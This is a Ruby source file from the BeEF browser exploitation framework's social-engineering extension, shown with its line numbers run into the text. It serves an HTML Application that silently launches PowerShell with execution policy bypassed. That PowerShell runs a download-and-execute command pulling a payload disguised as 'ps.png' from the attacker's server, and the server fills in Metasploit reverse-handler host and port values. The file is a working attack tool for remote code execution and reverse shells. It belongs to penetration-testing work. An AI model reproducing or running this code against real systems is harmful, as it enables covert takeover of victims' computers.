Path: blob/master/extensions/social_engineering/powershell/bind_powershell.rb
1155 views
#1# Copyright (c) 2006-2025 Wade Alcorn - [email protected]2# Browser Exploitation Framework (BeEF) - https://beefproject.com3# See the file 'doc/COPYING' for copying permission4#5module BeEF6module Extension7module SocialEngineering8#9# By default powershell will be served from http://beef_server:beef_port/ps/ps.png10#11# NOTE: make sure you change the 'beef.http.public' settings in the main BeEF config.yaml to the public IP address / hostname for BeEF,12# and also the powershell-related variable in extensions/social_engineering/config.yaml,13# and also write your PowerShell payload to extensions/social_engineering/powershell/powershell_payload.14class Bind_powershell < BeEF::Core::Router::Router15before do16headers 'Pragma' => 'no-cache',17'Cache-Control' => 'no-cache',18'Expires' => '0'19end2021# serves the HTML Application (HTA)22get '/hta' do23response['Content-Type'] = 'application/hta'24@config = BeEF::Core::Configuration.instance25beef_url_str = @config.beef_url_str26ps_url = @config.get('beef.extension.social_engineering.powershell.powershell_handler_url')27payload_url = "#{beef_url_str}#{ps_url}/ps.png"2829print_info "Serving HTA. Powershell payload will be retrieved from: #{payload_url}"30"<script>31var c = \"cmd.exe /c powershell.exe -w hidden -nop -ep bypass -c \\\"\\\"IEX ((new-object net.webclient).downloadstring('#{payload_url}')); Invoke-ps\\\"\\\"\";32new ActiveXObject('WScript.Shell').Run(c);33</script>"34end3536# serves the powershell payload after modifying LHOST/LPORT37# The payload gets served via HTTP by default. Serving it via HTTPS it's still a TODO38get '/ps.png' do39response['Content-Type'] = 'text/plain'4041@ps_lhost = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.msf_reverse_handler_host')42@ps_port = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.msf_reverse_handler_port')4344ps_payload_path = "#{$root_dir}/extensions/social_engineering/powershell/powershell_payload"4546if File.exist?(ps_payload_path)47return File.read(ps_payload_path).to_s.gsub('___LHOST___', @ps_lhost).gsub('___LPORT___', @ps_port)48end4950nil51end52end53end54end55end565758